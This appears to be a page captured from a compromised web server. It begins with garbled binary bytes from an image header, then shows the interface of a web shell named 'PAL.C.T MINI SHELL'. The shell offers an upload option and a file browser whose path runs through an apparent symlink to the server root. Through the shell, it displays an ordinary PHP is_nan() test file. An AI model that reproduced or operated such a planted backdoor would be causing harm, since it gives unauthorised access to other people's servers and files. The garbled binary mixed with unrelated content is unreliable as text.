php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/php-7.1.11/ext/standard/tests/math/
upload
files >> //var/www/html/sub/images/sym/root/php-7.1.11/ext/standard/tests/math/is_nan_basic.phpt

--TEST--
Test is_nan() - basic function test is_nan()
--FILE--
<?php
$values = array(234,
				-234,
				23.45e1,
				-23.45e1,
				0xEA,
				0352,
				"234",
				"234.5",
				"23.45e1",				
				null,
				true,
				false,
				pow(0, -2),
				acos(1.01));	
			

for ($i = 0; $i < count($values); $i++) {
	$res = is_nan($values[$i]);
	var_dump($res);		
}
 
?>

--EXPECTF--
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
bool(true)
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